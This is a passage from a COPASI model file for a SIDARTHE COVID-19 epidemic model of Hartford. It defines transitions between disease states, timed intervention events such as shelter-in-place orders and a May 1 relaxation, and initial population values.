<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_13"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_26" name="critical_R" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_26">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:45:40Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_11" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_4751" name="k1" value="0.201217"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_99"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_12"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_25" name="death" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_25">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:06Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_11" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_10" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_4324" name="k1" value="0.0522249"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_95"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_11"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_24" name="healing_I" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_24">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:27Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_16" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7299" name="k1" value="1.84364"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_101"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_16"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_23" name="healing_D" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_23">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:56Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_14" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7314" name="k1" value="1.84364"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_97"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_14"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_22" name="healing_A" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_22">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:47:19Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_6918" name="k1" value="1.84364"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_102"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_13"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_21" name="healing_R" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_21">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:47:31Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_6867" name="k1" value="0.36594"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_98"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_12"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_20" name="healing_T" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_20">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:47:52Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_11" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_4240" name="k1" value="0.125"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_96"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_11"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_19" name="critical_A_UCH" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_19">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_13" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_8" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_7309" name="k1" value="0.0238602"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_56"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_13"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_18" name="critical_R_UCH" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_18">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_12" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_8" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_2779" name="k1" value="0.0238602"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_56"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_12"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_17" name="death_UCH" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_17">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:26Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_8" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_10" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_6894" name="k1" value="0.0522249"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_95"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_8"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
<Reaction key="Reaction_16" name="healing_UCH" reversible="false" fast="false" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Reaction_16">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:26Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ListOfSubstrates>
<Substrate metabolite="Metabolite_8" stoichiometry="1"/>
</ListOfSubstrates>
<ListOfProducts>
<Product metabolite="Metabolite_9" stoichiometry="1"/>
</ListOfProducts>
<ListOfConstants>
<Constant key="Parameter_6878" name="k1" value="0.125"/>
</ListOfConstants>
<KineticLaw function="Function_13" unitType="Default" scalingCompartment="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]">
<ListOfCallParameters>
<CallParameter functionParameter="FunctionParameter_80">
<SourceParameter reference="ModelValue_96"/>
</CallParameter>
<CallParameter functionParameter="FunctionParameter_81">
<SourceParameter reference="Metabolite_8"/>
</CallParameter>
</ListOfCallParameters>
</KineticLaw>
</Reaction>
</ListOfReactions>
<ListOfEvents>
<Event key="Event_18" name="Day 15" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_18">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T18:33:56Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
Shelter-in-place order, no gatherings more than 5 people
</Comment>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time> > 15
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" targetKey="ModelValue_110">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" targetKey="ModelValue_108">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" targetKey="ModelValue_109">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" targetKey="ModelValue_107">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" targetKey="ModelValue_103">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>*50
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_17" name="Day 08" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_17">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T17:37:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
>50 people gatherings banned; restaurants + bars in take-out, sports events banned
</Comment>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time> > 8
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" targetKey="ModelValue_110">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" targetKey="ModelValue_108">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" targetKey="ModelValue_109">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=Value>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" targetKey="ModelValue_107">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=Value>
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_16" name="Day 11" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_16">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-30T17:24:04Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time> > 10
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" targetKey="ModelValue_103">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>*20
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_15" name="T peak detection" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_15">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T01:20:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Rate> < 0
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" targetKey="ModelValue_64">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" targetKey="ModelValue_63">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time>
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_14" name="T no new case" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_14">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-02T01:20:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed],Reference=Value> < 1
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" targetKey="ModelValue_60">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time>
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_13" name="Day 19" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_13">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-30T17:24:04Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time> > 18
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" targetKey="ModelValue_103">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>*95
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_12" name="Day 29" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_2">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-30T17:24:04Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time> > 28
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" targetKey="ModelValue_103">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>*150
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_11" name="May 1 relaxation" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_6">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T18:33:56Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
Shelter-in-place order, no gatherings more than 5 people
</Comment>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time> > 74 && <CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1],Reference=Value> == 1
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" targetKey="ModelValue_110">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*(1-(1-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=Value>)/2)
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" targetKey="ModelValue_108">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=InitialValue>*(1-(1-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=Value>)/2)
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" targetKey="ModelValue_109">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=InitialValue>*(1-(1-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=Value>)/2)
</Expression>
</Assignment>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" targetKey="ModelValue_107">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=InitialValue>*(1-(1-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=Value>)/2)
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_10" name="Day 47" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_10">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:52:29Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time> > 46
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" targetKey="ModelValue_103">
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>*165
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
<Event key="Event_9" name="Seeding" fireAtInitialTime="0" persistentTrigger="0">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Event_9">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:26Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<TriggerExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time> > <CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ZeroDay],Reference=Value>
</TriggerExpression>
<ListOfAssignments>
<Assignment target="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" targetKey="Metabolite_16">
<Expression>
1
</Expression>
</Assignment>
</ListOfAssignments>
</Event>
</ListOfEvents>
<ListOfModelParameterSets activeSet="ModelParameterSet_1">
<ModelParameterSet key="ModelParameterSet_1" name="Initial State">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_1">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T21:17:19Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="894014" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
